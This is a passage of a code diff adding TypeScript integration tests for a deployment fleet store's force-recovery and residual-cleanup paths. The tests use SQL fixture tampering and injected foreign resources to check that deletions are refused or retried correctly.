+      // A 'decommissioned' phase beside an active decommission intent never
+      // survives a write, so SQL forges the pair: the store refuses the forged
+      // terminal row at its own read boundary, before the force guard sees it.
+      await fixture.db
+        .prepare(
+          "UPDATE anchorage_fleet_deployments SET phase = 'decommissioned' WHERE tenant_tag = ? AND environment = ?",
+        )
+        .bind(names.tenantTag, environment)
+        .run();
+      const forged = await fixture.call(action);
+      expect(forged.response.status).toBe(500);
+      expect(forged.response.headers.get('X-Direct-Provider-Attempts')).toBe(
+        '0',
+      );
+      await fixture.db
+        .prepare(
+          'UPDATE anchorage_fleet_deployments SET phase = ? WHERE tenant_tag = ? AND environment = ?',
+        )
+        .bind(active.phase, names.tenantTag, environment)
+        .run();
+      await fixture.fleetStore.withDeploymentLease(
+        names.tenantTag,
+        environment,
+        (lease) =>
+          lease.put({
+            ...ready,
+            phase: 'decommissioned',
+            scriptName: fixture.manifest.names.roles.b.scriptName,
+          }),
+      );
+      expect((await fixture.call(action)).response.status).toBe(409);
+      await fixture.fleetStore.withDeploymentLease(
+        names.tenantTag,
+        environment,
+        (lease) => lease.put({ ...ready, phase: 'decommissioned' }),
+      );
+      const requests = fixture.projection.requests.length;
+      const cleared = await fixture.call(action);
+      expect(cleared.response.status).toBe(200);
+      expect(cleared.response.headers.get('X-Direct-Provider-Attempts')).toBe(
+        '0',
+      );
+      expect(cleared.value.result).toEqual({
+        returned: true,
+        before: { databaseId: ready.databaseId, scriptName: ready.scriptName },
+        after: { present: false },
+      });
+      expect(
+        await fixture.fleetStore.get(names.tenantTag, environment),
+      ).toBeUndefined();
+      const repeated = await fixture.call(action);
+      expect(repeated.response.status).toBe(200);
+      expect(repeated.response.headers.get('X-Direct-Provider-Attempts')).toBe(
+        '0',
+      );
+      expect(repeated.value.result).toEqual({
+        returned: true,
+        before: null,
+        after: { present: false },
+      });
+      expect(fixture.projection.requests).toHaveLength(requests);
+    } finally {
+      await fixture.close();
+    }
+  });
+
+  it('preserves force witnesses and resumes settled residual cleanup after exhausting the provider budget', async () => {
+    const fixture = await createDirectReferenceHarness();
+    try {
+      const names = fixture.manifest.names.roles.recovery;
+      const environment = fixture.manifest.environment;
+      const absent = await fixture.call({ kind: 'force-recovery' });
+      expect(absent.response.status).toBe(409);
+      expect(fixture.projection.requests).toEqual([]);
+      const { ready, receipt } = await readyRecovery(fixture);
+      const mutations = [...fixture.world.mutationLog];
+      await fixture.db.exec(
+        "CREATE TRIGGER refuse_force_witness BEFORE INSERT ON direct_reference_observations WHEN NEW.observation_kind='force-before' BEGIN SELECT RAISE(ABORT,'fixture force witness unavailable'); END",
+      );
+      try {
+        const refused = await fixture.call({ kind: 'force-recovery' });
+        expect(refused.response.status).toBe(500);
+        expect(
+          (await fixture.fleetStore.get(names.tenantTag, environment))?.phase,
+        ).toBe('ready');
+        expect(fixture.world.mutationLog).toEqual(mutations);
+        expect(await fixture.journal().readForceBefore()).toBeUndefined();
+      } finally {
+        await fixture.db.exec('DROP TRIGGER refuse_force_witness');
+      }
+      await fixture.db.exec(
+        "CREATE TRIGGER require_force_witness BEFORE UPDATE ON anchorage_fleet_deployments WHEN NEW.phase='decommissioning' AND NOT EXISTS(SELECT 1 FROM direct_reference_observations WHERE observation_kind='force-before') BEGIN SELECT RAISE(ABORT,'force phase precedes its witness'); END",
+      );
+      fixture.world.failNext('deleteDatabase', { dispatched: false });
+      const interrupted = await fixture.call({ kind: 'force-recovery' });
+      expect(interrupted.response.status).toBe(500);
+      expect(fixture.world.peekFailure('deleteDatabase')).toBeUndefined();
+      expect(
+        (await fixture.fleetStore.get(names.tenantTag, environment))?.phase,
+      ).toBe('database-deleting');
+      const before = await fixture.journal().readForceBefore();
+      if (!before) throw new Error('force before witness is missing');
+      expect(JSON.parse(before.provenanceJson)).toMatchObject({
+        phase: 'ready',
+        recordUpdatedAt: ready.updatedAt,
+      });
+      expect(JSON.parse(before.identityJson).priorCleanup.operationId).toBe(
+        receipt.operationId,
+      );
+      const exportCount = fixture.world.exports.size;
+      await fixture.reload();
+      expect(await fixture.success({ kind: 'force-recovery' })).toMatchObject({
+        returned: true,
+      });
+      expect(
+        await fixture.fleetStore.get(names.tenantTag, environment),
+      ).toBeUndefined();
+      expect(
+        fixture.world.databases.some(
+          (database) => database.databaseId === ready.databaseId,
+        ),
+      ).toBe(false);
+      expect(fixture.world.scripts.has(ready.scriptName)).toBe(true);
+      for (const resource of ready.applicationResources ?? [])
+        expect(
+          fixture.buckets.has(
+            `${resource.jurisdiction}:${resource.bucketName}`,
+          ),
+        ).toBe(true);
+      expect(
+        await fixture.fleetStore.readCleanupReceipt(receipt.operationId),
+      ).toEqual(receipt);
+      expect(await fixture.journal().readForceBefore()).toEqual(before);
+      expect(fixture.world.exports.size).toBe(exportCount);
+      const after = [...fixture.world.mutationLog];
+      await fixture.fleetStore.withDeploymentLease(
+        names.tenantTag,
+        environment,
+        (lease) =>
+          lease.put({
+            ...ready,
+            databaseId: '00000000-0000-4000-8000-000000000099',
+          }),
+      );
+      const beforeForeignReplay = fixture.projection.requests.length;
+      expect(
+        (await fixture.call({ kind: 'force-recovery' })).response.status,
+      ).toBe(409);
+      expect(fixture.projection.requests).toHaveLength(beforeForeignReplay);
+      expect(fixture.world.mutationLog).toEqual(after);
+      await fixture.fleetStore.withDeploymentLease(
+        names.tenantTag,
+        environment,
+        (lease) => {
+          if (!lease.deleteReleasingClaims)
+            throw new Error('fixture claim release is unavailable');
+          return lease.deleteReleasingClaims();
+        },
+      );
+      fixture.world.durableObjectNamespaces.push({
+        id: 'unrelated-namespace',
+        script: 'unrelated-script',
+        className: 'Other',
+      });
+      const footprint = await fixture.success<{
+        observation: Record<string, unknown>;
+        provenance: Record<string, unknown>;
+      }>({ kind: 'force-observe' });
+      const retainedScript = fixture.world.scripts.get(ready.scriptName);
+      if (!retainedScript) throw new Error('force removed the retained script');
+      expect(footprint.observation).toMatchObject({
+        version: 1,
+        role: 'recovery',
+        beforeIdentitySha256: JSON.parse(before.identityJson)
+          .beforeIdentitySha256,
+        fleetRecordPresent: false,
+        deploymentClaimsPresent: false,
+        database: {
+          id: ready.databaseId,
+          expectedName: ready.databaseName,
+          observedName: null,
+        },
+        worker: {
+          scriptName: ready.scriptName,
+          scriptPresent: true,
+          workersDevEnabled: false,
+          previewUrlsEnabled: false,
+          customDomains: [],
+          zoneRoutes: [],
+          currentSecretNames: [],
+          currentVersionIds: retainedScript.versions
+            .map((version) => version.versionId)
+            .sort(),
+          currentNamespaceIds: ready.durableObjectBindings
+            .map((binding) => binding.namespaceId)
+            .sort(),
+          survivingRecordedNamespaceIds: ready.durableObjectBindings
+            .map((binding) => binding.namespaceId)
+            .sort(),
+        },
+        priorCleanup: { operationId: receipt.operationId, matchesBefore: true },
+      });
+      expect(footprint.observation.buckets).toEqual(
+        (ready.applicationResources ?? [])
+          .map((resource) => ({
+            bindingName: resource.name,
+            bucketName: resource.bucketName,
+            jurisdiction: resource.jurisdiction,
+            expectedCreationDate: resource.creationDate,
+            observedCreationDate: resource.creationDate,
+          }))
+          .sort((a, b) => a.bindingName.localeCompare(b.bindingName)),
+      );
+      expect(fixture.world.mutationLog).toEqual(after);
+      const reads = fixture.projection.requests.length;
+      await fixture.reload();
+      expect(await fixture.success({ kind: 'force-observe' })).toEqual(
+        footprint,
+      );
+      expect(fixture.projection.requests).toHaveLength(reads);
+      expect(await fixture.success({ kind: 'force-recovery' })).toMatchObject({
+        returned: true,
+      });
+      expect(fixture.world.mutationLog).toEqual(after);
+      expect(
+        (
+          await fixture.call({
+            kind: 'provision',
+            role: 'recovery',
+            release: 'initial',
+          })
+        ).response.status,
+      ).toBe(409);
+      expect(fixture.world.mutationLog).toEqual(after);
+      const archived = await fixture.journal().readForceAfter();
+      const operations = await fixture.db
+        .prepare('SELECT * FROM direct_reference_operations ORDER BY slot')
+        .all();
+      const exports = await fixture.exportBytes.list();
+      const exhausted = await fixture.call({ kind: 'recover-force-residual' });
+      expect(exhausted.response.status).toBe(500);
+      expect(exhausted.value).toMatchObject({
+        ok: false,
+        error: { code: 'operation-refused' },
+      });
+      expect(exhausted.response.headers.get('X-Direct-Provider-Attempts')).toBe(
+        '100',
+      );
+      expect(retainedScript.present).toBe(false);
+      expect(retainedScript.versions).toEqual([]);
+      for (const resource of ready.applicationResources ?? [])
+        expect(
+          fixture.buckets.has(
+            `${resource.jurisdiction}:${resource.bucketName}`,
+          ),
+        ).toBe(false);
+      const exhaustedDeletes = fixture.projection.requests.filter(
+        (request) => request.method === 'DELETE',
+      );
+      expect(await fixture.journal().readForceAfter()).toEqual(archived);
+      expect(
+        await fixture.fleetStore.readCleanupReceipt(receipt.operationId),
+      ).toEqual(receipt);
+      expect(
+        (
+          await fixture.db
+            .prepare('SELECT * FROM direct_reference_operations ORDER BY slot')
+            .all()
+        ).results,
+      ).toEqual(operations.results);
+      await fixture.reload();
+      const recovered = await fixture.success<{
+        returned: true;
+        observation: Record<string, unknown>;
+      }>({ kind: 'recover-force-residual' });
+      expect(
+        fixture.projection.requests.filter(
+          (request) => request.method === 'DELETE',
+        ),
+      ).toEqual(exhaustedDeletes);
+      expect(recovered).toMatchObject({
+        returned: true,
+        observation: {
+          beforeIdentitySha256: footprint.observation.beforeIdentitySha256,
+          fleetRecordPresent: false,
+          deploymentClaimsPresent: false,
+          database: { id: ready.databaseId, observedName: null },
+          worker: {
+            scriptPresent: false,
+            currentVersionIds: null,
+            currentNamespaceIds: [],
+            survivingRecordedNamespaceIds: [],
+            customDomains: [],
+            zoneRoutes: [],
+            currentSecretNames: [],
+          },
+          buckets: (ready.applicationResources ?? []).map((resource) => ({
+            bucketName: resource.bucketName,
+            observedCreationDate: null,
+          })),
+          priorCleanup: {
+            operationId: receipt.operationId,
+            matchesBefore: true,
+          },
+        },
+      });
+      expect(retainedScript.present).toBe(false);
+      expect(retainedScript.versions).toEqual([]);
+      expect(fixture.world.durableObjectNamespaces).toEqual([
+        {
+          id: 'unrelated-namespace',
+          script: 'unrelated-script',
+          className: 'Other',
+        },
+      ]);
+      for (const resource of ready.applicationResources ?? [])
+        expect(
+          fixture.buckets.has(
+            `${resource.jurisdiction}:${resource.bucketName}`,
+          ),
+        ).toBe(false);
+      const deletes = fixture.projection.requests.filter(
+        (request) => request.method === 'DELETE',
+      );
+      await fixture.reload();
+      expect(
+        await fixture.success({ kind: 'recover-force-residual' }),
+      ).toMatchObject({
+        returned: true,
+        observation: recovered.observation,
+      });
+      expect(
+        fixture.projection.requests.filter(
+          (request) => request.method === 'DELETE',
+        ),
+      ).toEqual(deletes);
+      expect(await fixture.success({ kind: 'force-observe' })).toEqual(
+        footprint,
+      );
+      expect(await fixture.journal().readForceAfter()).toEqual(archived);
+      expect(await fixture.journal().readForceBefore()).toEqual(before);
+      expect(
+        (
+          await fixture.db
+            .prepare('SELECT * FROM direct_reference_operations ORDER BY slot')
+            .all()
+        ).results,
+      ).toEqual(operations.results);
+      expect(
+        await fixture.fleetStore.readCleanupReceipt(receipt.operationId),
+      ).toEqual(receipt);
+      expect(
+        await fixture.fleetStore.get(names.tenantTag, environment),
+      ).toBeUndefined();
+      expect((await fixture.exportBytes.list()).objects).toEqual(
+        exports.objects,
+      );
+      expect(fixture.world.exports.size).toBe(exportCount);
+    } finally {
+      await fixture.close();
+    }
+  });
+
+  it('refuses residual deletion when archived evidence or current ownership and resource facts change', async () => {
+    let hideAttachmentIdentity = false;
+    const fixture = await createDirectReferenceHarness({
+      async providerResponse(request, response) {
+        const path = new URL(request.url).pathname;
+        if (
+          !hideAttachmentIdentity ||
+          request.method !== 'GET' ||
+          !path.includes('/scripts/foreign-attachment/') ||
+          !(
+            path.endsWith('/versions/foreign-version') ||
+            path.endsWith('/settings')
+          )
+        )
+          return response;
+        const body = (await response.json()) as {
+          result: {
+            resources?: { bindings: Record<string, unknown>[] };
+            bindings?: Record<string, unknown>[];
+          };
+        };
+        const bindings =
+          body.result.resources?.bindings ?? body.result.bindings;
+        if (!bindings)
+          throw new Error('fixture attachment response is missing bindings');
+        for (const binding of bindings) {
+          if (binding.type === 'd1') delete binding.database_id;
+          if (binding.type === 'r2_bucket') delete binding.bucket_name;
+        }
+        return Response.json(body, {
+          status: response.status,
+          headers: response.headers,
+        });
+      },
+    });
+    try {
+      const { ready, receipt } = await readyRecovery(fixture);
+      const database = fixture.world.databases.find(
+        (entry) => entry.databaseId === ready.databaseId,
+      );
+      if (!database) throw new Error('recovery database is missing');
+      await fixture.success({ kind: 'force-recovery' });
+      const mutations = [...fixture.world.mutationLog];
+      const deletes = fixture.projection.requests.filter(
+        (request) => request.method === 'DELETE',
+      );
+      async function refused(reason: string) {
+        const result = await fixture.call({ kind: 'recover-force-residual' });
+        expect(result.value.ok, reason).toBe(false);
+        expect(fixture.world.mutationLog, reason).toEqual(mutations);
+        expect(
+          fixture.projection.requests.filter(
+            (request) => request.method === 'DELETE',
+          ),
+          reason,
+        ).toEqual(deletes);
+      }
+      await refused('missing force-after');
+      await fixture.success({ kind: 'force-observe' });
+      const archived = await fixture.journal().readForceAfter();
+      if (!archived) throw new Error('force-after is missing');
+      const original = JSON.parse(archived.identityJson);
+      async function storeAfter(
+        identityJson: string,
+        provenanceJson = archived?.provenanceJson,
+      ) {
+        if (!provenanceJson) throw new Error('force provenance is missing');
+        const hash = (field: string, value: string) =>
+          createHash('sha256')
+            .update(
+              JSON.stringify([
+                'observation',
+                fixture.manifest.resourcePrefix,
+                'force-after',
+                'recovery',
+                field,
+                value,
+              ]),
+            )
+            .digest('hex');
+        await fixture.db
+          .prepare(
+            "UPDATE direct_reference_observations SET identity_json=?,identity_sha256=?,provenance_json=?,provenance_sha256=? WHERE observation_kind='force-after'",
+          )
+          .bind(
+            identityJson,
+            hash('identity', identityJson),
+            provenanceJson,
+            hash('provenance', provenanceJson),
+          )
+          .run();
+      }
+      const malformed = [
+        {
+          ...original,
+          worker: { ...original.worker, scriptPresent: undefined },
+        },
+        { ...original, extra: true },
+        {
+          ...original,
+          worker: {
+            ...original.worker,
+            currentVersionIds: [
+              ...original.worker.currentVersionIds,
+              original.worker.currentVersionIds[0],
+            ],
+          },
+        },
+        {
+          ...original,
+          database: { ...original.database, id: 'foreign-database' },
+        },
+        { ...original, buckets: [] },
+      ];
+      for (const [index, observation] of malformed.entries()) {
+        await storeAfter(JSON.stringify(observation));
+        expect(await fixture.journal().readForceAfter()).toBeDefined();
+        await refused(`valid-hash malformed force-after ${index}`);
+        expect((await fixture.call({ kind: 'force-observe' })).value.ok).toBe(
+          false,
+        );
+      }
+      for (const observation of [
+        { ...original, fleetRecordPresent: true },
+        { ...original, deploymentClaimsPresent: true },
+        {
+          ...original,
+          database: { ...original.database, observedName: ready.databaseName },
+        },
+        {
+          ...original,
+          worker: { ...original.worker, workersDevEnabled: null },
+        },
+        { ...original, worker: { ...original.worker, scriptPresent: false } },
+        {
+          ...original,
+          worker: { ...original.worker, currentVersionIds: null },
+        },
+        {
+          ...original,
+          buckets: original.buckets.map((bucket: Record<string, unknown>) => ({
+            ...bucket,
+            observedCreationDate: null,
+          })),
+        },
+        {
+          ...original,
+          priorCleanup: { ...original.priorCleanup, matchesBefore: false },
+        },
+      ]) {
+        await storeAfter(JSON.stringify(observation));
+        await refused('complete but unsuccessful initial footprint');
+      }
+      await storeAfter(
+        archived.identityJson,
+        JSON.stringify({ startedAtMs: 0, completedAtMs: -1 }),
+      );
+      await refused('valid-hash invalid provenance');
+      await storeAfter(archived.identityJson);
+      await fixture.fleetStore.withDeploymentLease(
+        ready.tenantTag,
+        ready.environment,
+        (lease) => lease.put(ready),
+      );
+      await refused('replacement fleet record');
+      await fixture.fleetStore.withDeploymentLease(
+        ready.tenantTag,
+        ready.environment,
+        (lease) => {
+          if (!lease.deleteReleasingClaims)
+            throw new Error('claim release is unavailable');
+          return lease.deleteReleasingClaims();
+        },
+      );
+      const resource = ready.applicationResources?.[0];
+      if (!resource) throw new Error('recovery bucket witness is missing');
+      for (const [type, name, set] of [
+        [
+          'worker-script',
+          'unrelated-worker',
+          `deployment:${ready.tenantTag}:${ready.environment}`,
+        ],
+        ['worker-script', ready.scriptName, 'foreign-set'],
+        ['r2-bucket', resource.bucketName, 'foreign-set'],
+      ]) {
+        await fixture.db
+          .prepare(
+            'INSERT INTO anchorage_platform_plane_claims (account_id,resource_type,resource_name,resource_role,resource_set_key,platform_plane_identity) VALUES (?,?,?,?,?,?)',
+          )
+          .bind(
+            fixture.binding.accountId,
+            type,
+            name,
+            type === 'r2-bucket' ? 'deployment-r2' : 'deployment-worker',
+            set,
+            'fixture-residual-foreign',
+          )
+          .run();
+        await refused(`visible ${type} claim ${name}`);
+        await fixture.db
+          .prepare(
+            "DELETE FROM anchorage_platform_plane_claims WHERE platform_plane_identity='fixture-residual-foreign'",
+          )
+          .run();
+      }
+      fixture.world.databases.push(database);
+      await refused('D1 reappeared');
+      fixture.world.databases.splice(
+        fixture.world.databases.indexOf(database),
+        1,
+      );
+      const script = fixture.world.scripts.get(ready.scriptName);
+      if (!script) throw new Error('retained Worker is missing');
+      script.subdomain.enabled = true;
+      await refused('workers.dev enabled');
+      script.subdomain.enabled = false;
+      script.subdomain.previewsEnabled = true;
+      await refused('preview URLs enabled');
+      script.subdomain.previewsEnabled = false;
+      fixture.world.customDomains.push({
+        id: 'residual-domain',
+        hostname: 'foreign.example.test',
+        service: ready.scriptName,
+      });
+      await refused('custom domain returned');
+      fixture.world.customDomains.pop();
+      fixture.world.zones.push({ id: 'residual-zone' });
+      fixture.world.routes.push({
+        zoneId: 'residual-zone',
+        id: 'residual-route',
+        pattern: 'foreign.example.test/*',
+        script: ready.scriptName,
+      });
+      await refused('zone route returned');
+      fixture.world.routes.pop();
+      fixture.world.zones.pop();
+      script.secretNames.add('FOREIGN_SECRET');
+      await refused('secret returned');
+      script.secretNames.delete('FOREIGN_SECRET');
+      const versions = [...script.versions];
+      const first = versions[0];
+      if (!first) throw new Error('retained version is missing');
+      script.versions.push({ ...first, versionId: 'foreign-version' });
+      await refused('unrecorded version');
+      script.versions = versions.filter(
+        (version) => version.versionId !== ready.artifactVersion,
+      );
+      await refused('original version anchor missing');
+      script.versions = [];
+      await refused('retained version inventory empty');
+      script.versions = versions;
+      const namespaces = [...fixture.world.durableObjectNamespaces];
+      fixture.world.durableObjectNamespaces.push({
+        id: 'foreign-namespace',
+        script: ready.scriptName,
+        className: 'Foreign',
+      });
+      await refused('unrecorded namespace');
+      fixture.world.durableObjectNamespaces.splice(
+        0,
+        fixture.world.durableObjectNamespaces.length,
+        ...namespaces.slice(1),
+      );
+      await refused('recorded namespace missing');
+      fixture.world.durableObjectNamespaces.splice(
+        0,
+        fixture.world.durableObjectNamespaces.length,
+        ...namespaces,
+      );
+      const bucketKey = `${resource.jurisdiction}:${resource.bucketName}`;
+      const bucket = fixture.buckets.get(bucketKey);
+      if (!bucket) throw new Error('retained bucket is missing');
+      const creationDate = bucket.creation_date;
+      bucket.creation_date = new Date(
+        Date.parse(creationDate) + 1000,
+      ).toISOString();
+      await refused('bucket incarnation changed');
+      bucket.creation_date = creationDate;
+      fixture.buckets.delete(bucketKey);
+      await refused('bucket absent while Worker remains');
+      fixture.buckets.set(bucketKey, bucket);
+      const objectKey = `${bucketKey}/foreign-object`;
+      await fixture.applicationBytes.put(objectKey, 'must survive');
+      await refused('nonempty bucket prevents Worker deletion');
+      expect(
+        await (await fixture.applicationBytes.get(objectKey))?.text(),
+      ).toBe('must survive');
+      await fixture.applicationBytes.delete(objectKey);
+      for (const binding of [
+        { type: 'd1', name: 'FOREIGN_DATABASE', database_id: ready.databaseId },
+        {
+          type: 'r2_bucket',
+          name: 'FOREIGN_BUCKET',
+          bucket_name: resource.bucketName,
+        },
+      ]) {
+        fixture.world.seedScript('foreign-attachment', {
+          versions: [
+            { ...first, versionId: 'foreign-version', bindings: [binding] },
+          ],
+          deployment: [{ versionId: 'foreign-version', percentage: 100 }],
+          subdomain: { enabled: false, previewsEnabled: false },
+        });
+        await refused(`foreign ordinary ${binding.type} attachment`);
+        hideAttachmentIdentity = true;
+        await refused(`incomplete foreign ordinary ${binding.type} attachment`);
+        hideAttachmentIdentity = false;
+        expect(
+          fixture.world.scripts.get('foreign-attachment')?.versions[0]
+            ?.bindings,
+        ).toEqual([binding]);
+        fixture.world.scripts.delete('foreign-attachment');
+        fixture.world.dispatchNamespaces.push({
+          name: 'foreign-dispatch',
+          scripts: [{ name: 'foreign-attachment', bindings: [binding] }],
+        });
+        await refused(`foreign dispatch ${binding.type} attachment`);
+        hideAttachmentIdentity = true;
+        await refused(`incomplete foreign dispatch ${binding.type} attachment`);
+        hideAttachmentIdentity = false;
+        expect(
+          fixture.world.dispatchNamespaces.at(-1)?.scripts[0]?.bindings,
+        ).toEqual([binding]);
+        fixture.world.dispatchNamespaces.pop();
+      }
+      const completedAtMs = receipt.completedAtMs;
+      if (completedAtMs === undefined)
+        throw new Error('cleanup completion time is missing');
+      await fixture.db
+        .prepare(
+          'UPDATE anchorage_fleet_cleanup_receipts SET completed_at_ms=? WHERE operation_id=?',
+        )
+        .bind(completedAtMs + 1, receipt.operationId)
+        .run();
+      await refused('historical receipt changed');
+      await fixture.db
+        .prepare(
+          'UPDATE anchorage_fleet_cleanup_receipts SET completed_at_ms=? WHERE operation_id=?',
+        )
+        .bind(completedAtMs, receipt.operationId)
+        .run();
+      for (const fault of ['claim', 'lease'] as const) {
+        let applied = false;
+        fixture.world.afterNext('listCustomDomains', async () => {
+          if (fault === 'claim') {
+            await fixture.db
+              .prepare(
+                'INSERT INTO anchorage_platform_plane_claims (account_id,resource_type,resource_name,resource_role,resource_set_key,platform_plane_identity) VALUES (?,?,?,?,?,?)',
+              )
+              .bind(
+                fixture.binding.accountId,
+                'worker-script',
+                ready.scriptName,
+                'deployment-worker',
+                'foreign-set',
+                'fixture-residual-foreign',
+              )
+              .run();
+          } else {
+            await fixture.db
+              .prepare(
+                'UPDATE anchorage_fleet_leases SET owner_token=? WHERE tenant_tag=? AND environment=?',
+              )
+              .bind('foreign-lease-owner', ready.tenantTag, ready.environment)
+              .run();
+          }
+          applied = true;
+        });
+        await refused(`${fault} changed during provider reads`);
+        expect(applied).toBe(true);
+        await fixture.db
+          .prepare(
+            "DELETE FROM anchorage_platform_plane_claims WHERE platform_plane_identity='fixture-residual-foreign'",
+          )
+          .run();
+        await fixture.db
+          .prepare(
+            "DELETE FROM anchorage_fleet_leases WHERE owner_token='foreign-lease-owner'",
+          )
+          .run();
+      }
+      expect(await fixture.journal().readForceAfter()).toEqual(archived);
+      expect(
+        await fixture.fleetStore.readCleanupReceipt(receipt.operationId),
+      ).toEqual(receipt);
+      expect(
+        await fixture.success({ kind: 'recover-force-residual' }),
+      ).toMatchObject({ returned: true });
+      expect(fixture.bridgeErrors).toEqual([]);
+    } finally {
+      await fixture.close();
+    }
+  });
+
+  it('retries settled residual deletions without duplicating committed Worker or bucket deletes', async () => {
+    const fixture = await createDirectReferenceHarness();
+    try {
+      const { ready, receipt } = await readyRecovery(fixture);
+      await fixture.success({ kind: 'force-recovery' });
+      const observed = await fixture.success({ kind: 'force-observe' });
+      const resource = ready.applicationResources?.[0];
+      const script = fixture.world.scripts.get(ready.scriptName);
+      if (!resource || !script) throw new Error('residual fixture is missing');
+      const bucketKey = `${resource.jurisdiction}:${resource.bucketName}`;
+      const originalDeletes = fixture.projection.requests.filter(
+        (request) => request.method === 'DELETE',
+      ).length;
+      fixture.world.failNext('deleteWorkerScript', { dispatched: false });
+      expect(
+        (await fixture.call({ kind: 'recover-force-residual' })).value.ok,
+      ).toBe(false);
+      expect(fixture.world.peekFailure('deleteWorkerScript')).toBeUndefined();
+      expect(script.present).toBe(true);
+      expect(fixture.buckets.has(bucketKey)).toBe(true);
+      const namespaces = [...fixture.world.durableObjectNamespaces];
+      fixture.world.failNext('deleteWorkerScript', { dispatched: true });
+      fixture.world.afterNext('deleteWorkerScript', () => {
+        fixture.world.durableObjectNamespaces.push(
+          ...namespaces.map((namespace) => ({
+            ...namespace,
+            script: 'provider-lag',
+          })),
+        );
+      });
+      expect(
+        (await fixture.call({ kind: 'recover-force-residual' })).value.ok,
+      ).toBe(false);
+      expect(script.present).toBe(false);
+      expect(fixture.buckets.has(bucketKey)).toBe(true);
+      expect(
+        fixture.world.mutationLog.filter(
+          (entry) => entry === `delete-script:${ready.scriptName}`,
+        ),
+      ).toHaveLength(1);
+      const afterWorker = fixture.projection.requests.filter(
+        (request) => request.method === 'DELETE',
+      );
+      expect(afterWorker).toHaveLength(originalDeletes + 2);
+      await fixture.reload();
+      expect(
+        (await fixture.call({ kind: 'recover-force-residual' })).value.ok,
+      ).toBe(false);
+      expect(
+        fixture.projection.requests.filter(
+          (request) => request.method === 'DELETE',
+        ),
+      ).toEqual(afterWorker);
+      expect(fixture.buckets.has(bucketKey)).toBe(true);
+      fixture.world.durableObjectNamespaces.length = 0;
+      fixture.world.failNext('deleteApplicationR2Bucket', {
+        dispatched: false,
+      });
+      expect(
+        (await fixture.call({ kind: 'recover-force-residual' })).value.ok,
+      ).toBe(false);
+      expect(
+        fixture.world.peekFailure('deleteApplicationR2Bucket'),
+      ).toBeUndefined();
+      expect(fixture.buckets.has(bucketKey)).toBe(true);
+      fixture.world.failNext('deleteApplicationR2Bucket', { dispatched: true });
+      fixture.world.afterNext('deleteApplicationR2Bucket', () => {
+        fixture.world.failNext('getApplicationR2Bucket', { dispatched: false });
+      });
+      expect(
+        (await fixture.call({ kind: 'recover-force-residual' })).value.ok,
+      ).toBe(false);
+      expect(
+        fixture.world.peekFailure('deleteApplicationR2Bucket'),
+      ).toBeUndefined();
+      expect(fixture.buckets.has(bucketKey)).toBe(false);
+      const afterBucket = fixture.projection.requests.filter(
+        (request) => request.method === 'DELETE',
+      );
+      expect(afterBucket).toHaveLength(originalDeletes + 4);
+      await fixture.db
+        .prepare(
+          'INSERT INTO anchorage_platform_plane_claims (account_id,resource_type,resource_name,resource_role,resource_set_key,platform_plane_identity) VALUES (?,?,?,?,?,?)',
+        )
+        .bind(
+          fixture.binding.accountId,
+          'r2-bucket',
+          resource.bucketName,
+          'deployment-r2',
+          'foreign-set',
+          'fixture-residual-foreign',
+        )
+        .run();
+      expect(
+        (await fixture.call({ kind: 'recover-force-residual' })).value.ok,
+      ).toBe(false);
+      expect(
+        fixture.projection.requests.filter(
+          (request) => request.method === 'DELETE',
+        ),
+      ).toEqual(afterBucket);
+      await fixture.db
+        .prepare(
+          "DELETE FROM anchorage_platform_plane_claims WHERE platform_plane_identity='fixture-residual-foreign'",
+        )
+        .run();
+      await fixture.reload();
+      expect(
+        (await fixture.call({ kind: 'recover-force-residual' })).value.ok,
+      ).toBe(false);
+      expect(
+        fixture.world.peekFailure('getApplicationR2Bucket'),
+      ).toBeUndefined();
+      expect(
+        fixture.projection.requests.filter(
+          (request) => request.method === 'DELETE',
+        ),
+      ).toEqual(afterBucket);
+      expect(
+        await fixture.success({ kind: 'recover-force-residual' }),
+      ).toMatchObject({ returned: true });
+      expect(
+        fixture.projection.requests.filter(
+          (request) => request.method === 'DELETE',
+        ),
+      ).toEqual(afterBucket);
+      expect(await fixture.success({ kind: 'force-observe' })).toEqual(
+        observed,
+      );
+      expect(
+        await fixture.fleetStore.readCleanupReceipt(receipt.operationId),
+      ).toEqual(receipt);
+      expect(fixture.bridgeErrors).toEqual([]);
+    } finally {
+      await fixture.close();
+    }
+  });
+
+  it('leaves incomplete reads unrecorded and reports retained claims and changed resources independently', async () => {
+    const fixture = await createDirectReferenceHarness();
+    try {
+      const { ready, receipt } = await readyRecovery(fixture);
+      fixture.world.failNext('deleteDatabase', { dispatched: false });
+      expect(
+        (await fixture.call({ kind: 'force-recovery' })).response.status,
+      ).toBe(500);
+      expect(fixture.world.peekFailure('deleteDatabase')).toBeUndefined();
+      expect(await fixture.journal().readForceBefore()).toBeDefined();
+      const script = fixture.world.scripts.get(ready.scriptName);
+      const version = script?.versions[0];
+      if (!version)
+        throw new Error('force fixture has no recorded Worker version');
+      const descriptor = Object.getOwnPropertyDescriptor(version, 'versionId');
+      if (!descriptor)
+        throw new Error('force fixture version has no identifier');
+      Object.defineProperty(version, 'versionId', { value: undefined });
+      const mutations = [...fixture.world.mutationLog];
+      try {
+        expect(
+          (await fixture.call({ kind: 'force-observe' })).response.status,
+        ).toBe(500);
+        expect(await fixture.journal().readForceAfter()).toBeUndefined();
+        expect(fixture.world.mutationLog).toEqual(mutations);
+      } finally {
+        Object.defineProperty(version, 'versionId', descriptor);
+      }
+      await fixture.fleetStore.withDeploymentLease(
+        ready.tenantTag,
+        ready.environment,
+        (lease) => lease.delete(),
+      );
+      expect(
+        await fixture.fleetStore.get(ready.tenantTag, ready.environment),
+      ).toBeUndefined();
+      await fixture.fleetStore.pruneCleanupReceipts({
+        completedBeforeMs: Number.MAX_SAFE_INTEGER,
+        limit: 100,
+      });
+      expect(
+        await fixture.fleetStore.readCleanupReceipt(receipt.operationId),
+      ).toBeUndefined();
+      const resource = ready.applicationResources?.[0];
+      if (!resource) throw new Error('force fixture has no application bucket');
+      const bucket = fixture.buckets.get(
+        `${resource.jurisdiction}:${resource.bucketName}`,
+      );
+      if (!bucket) throw new Error('force fixture bucket is missing');
+      const originalCreationDate = bucket.creation_date;
+      bucket.creation_date = new Date(
+        Date.parse(originalCreationDate) + 1000,
+      ).toISOString();
+      const observed = await fixture.success<{
+        observation: Record<string, unknown>;
+      }>({ kind: 'force-observe' });
+      expect(observed.observation).toMatchObject({
+        fleetRecordPresent: false,
+        deploymentClaimsPresent: true,
+        database: { id: ready.databaseId, observedName: ready.databaseName },
+        buckets: [
+          {
+            bindingName: resource.name,
+            expectedCreationDate: originalCreationDate,
